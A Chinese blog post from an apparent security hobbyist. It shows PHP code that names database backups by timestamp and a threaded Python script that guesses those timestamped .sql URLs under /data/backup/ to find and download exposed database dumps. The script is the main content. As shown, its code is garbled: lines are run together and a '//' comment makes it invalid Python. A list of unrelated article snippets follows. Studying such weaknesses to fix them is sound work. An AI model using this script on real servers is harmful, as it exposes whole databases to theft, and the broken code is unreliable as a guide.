某次测试过程中,发现PHP备份功能代码如下:

// 根据时间生成备份文件名
$file_name = 'D' . date('Ymd') . 'T' . date('His');
$sql_file_name = $file_name . '.sql';

  那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

Python测试脚本:

简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import time
import requests
import threadpool date= "2018-01-18 10:00:00" //开始时间
datelist=[] def gettime():
timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
time1= int(time.mktime(timeArray))
time2=int(time.time())
for i in range(time1,time2):
time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
datelist.append(time3)
return datelist
def req(str):
try:
str1,str2=str.split()
date1="D"+str1+"T"+str2
url="http://127.0.0.1/data/backup/"+date1+".sql"
s=requests.get(url,timeout=5)
if s.status_code==200:
print u"数据库备份文件爆破成功:"
print url
except:
pass if __name__ == '__main__':
list=gettime()
pool = threadpool.ThreadPool(1000)
requ = threadpool.makeRequests(req,list)
[pool.putRequest(req) for req in requ]
pool.wait()

Python 测试截图:

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考链接:

python时间,日期,时间戳处理  http://blog.csdn.net/xiaobing_blog/article/details/12591917

利用Python爆破数据库备份文件的更多相关文章

  1. 从零开始学安全(三十六)●利用python 爆破form表单

    import sys import requests from requests.auth import HTTPBasicAuth def Brute_Force_Web(postData): re ...

  2. 利用python爬取海量疾病名称百度搜索词条目数的爬虫实现

    实验原因: 目前有一个医疗百科检索项目,该项目中对关键词进行检索后,返回的结果很多,可惜结果的排序很不好,影响用户体验.简单来说,搜索出来的所有符合疾病中,有可能是最不常见的疾病是排在第一个的,而最有 ...

  3. 看代码网备份|利用WebClient|eKing.CmdDownLoadDbBakOper|实现定时拷贝数据库备份文件到文件服务器

    摘要: 1.有两台服务器 (1)看代码网(记为A):内网IP:10.186.73.30 (2)文件服务器(记为B):内网IP:10.135.87.157 2.在A架设一个网站,端口8088(防火强设置 ...

  4. C#备份及还原数据库的实现代码(粗略) // 利用C#还原数据库(SQL SERVER)备份文件到指定路径

    C#数据库备份及还原 1.在用户的配置时,我们需要列出当前局域网内所有的数据库服务器,并且要列出指定服务器的所有数据库,实现代码如下: 取得数据库服务器列表: public ArrayList Get ...

  5. 利用Python操作MySQL数据库

    前言 在工作中,我们需要经常对数据库进行操作,比如 Oracle.MySQL.SQL Sever 等,今天我们就学习如何利用Python来操作 MySQL 数据库. 本人环境:Python 3.7.0 ...

  6. 利用Python进行数据分析(12) pandas基础: 数据合并

    pandas 提供了三种主要方法可以对数据进行合并: pandas.merge()方法:数据库风格的合并: pandas.concat()方法:轴向连接,即沿着一条轴将多个对象堆叠到一起: 实例方法c ...

  7. 利用python进行数据分析之数据规整化

    数据分析和建模大部分时间都用在数据准备上,数据的准备过程包括:加载,清理,转换与重塑. 合并数据集 pandas对象中的数据可以通过一些内置方法来进行合并: pandas.merge可根据一个或多个键 ...

  8. 利用python web框架django实现py-faster-rcnn demo实例

    操作系统.编程环境及其他: window7  cpu  python2.7  pycharm5.0  django1.8x 说明:本blog是上一篇blog(http://www.cnblogs.co ...

  9. 使用Python管理数据库

    使用Python管理数据库   这篇文章的主题是如何使用Python语言管理数据库,简化日常运维中频繁的.重复度高的任务,为DBA们腾出更多时间来完成更重要的工作.文章本身只提供一种思路,写的不是很全 ...

随机推荐

  1. node学习笔记3——文件操作fs

    文件操作关键字: http('fs') ——  请求 node 里面的 http 模块 readFile ——  读文件,参数包括 文件名,回调函数 writeFile ——  写文件,参数包括 文件 ...

  2. PHP产生随机数

    PHP生成随机字符串包括大小写字母 PHP生成随机字符串包括大小写字母,这里介绍两种方法: 第一种:利用字符串函数操作 ? <?php     /**      *@blog <www.p ...

  3. Three ways to make your WPF images pop out on MouseOver

    There are a couple of ways in WPF to make an image pop out when moving mouse over it. Of course we w ...

  4. Android学习之发送及接收广播

    1.使用标准广播 1.1 定义广播接收器 public class MyBroadcastReceiver extends BroadcastReceiver { @Override public v ...

  5. Java容器有哪些?

    网易面试: 问:Java容器有哪些,你聊一聊吧 Java容器: 数组,String,java.util下的集合容器 数组长度限制为 Integer.Integer.MAX_VALUE; String的 ...

  6. 关于Unity中FPS第一人称射击类游戏制作(专题十)

    当前Unity最新版本5.6.3f1,我使用的是5.5.1f1 场景搭建 1: 导入人物模型, 手持一把枪;2: 导入碎片模型;3: 创建一个平面;4: 创建一个障碍物;5: 导入人物模型;6: 配置 ...

  7. 概念:CountDownLatch、CyclicBarrier、Semaphore,以及guava的RateLimiter

    概念 CountDownLatch:一个门闩,作用是将某个线程关在门外,等门里的人分赃完毕(计数为0)的时候,才会打开门,让外面的那个线程执行. CyclicBarrier:直译的话,就是循环障碍.貌 ...

  8. vi 命令集

    一:跳到文件第一行 1. 输入:0或:1,然后回车: 2. 在键盘按下小写gg:   二:跳到文件最后一行 1. 输入:$,然后回车: 2. 在键盘按下大写G : 3. 在键盘按Shift + g: ...

  9. C++ 把枚举变量的名称,直接当字符串使用方法 字符串化符号 #

    #include <stdio.h> #include <typeinfo> #include <string> using namespace std; enum ...

  10. 使用Maven构建和测试Java项目

    我们在创建项目时要学习的是如何使用 Maven 来创建一个 Java 应用程序.现在将学习如何构建和测试应用程序. 进入到 C:\MVN 目录我们准备创建来 java应用程序.打开 consumerB ...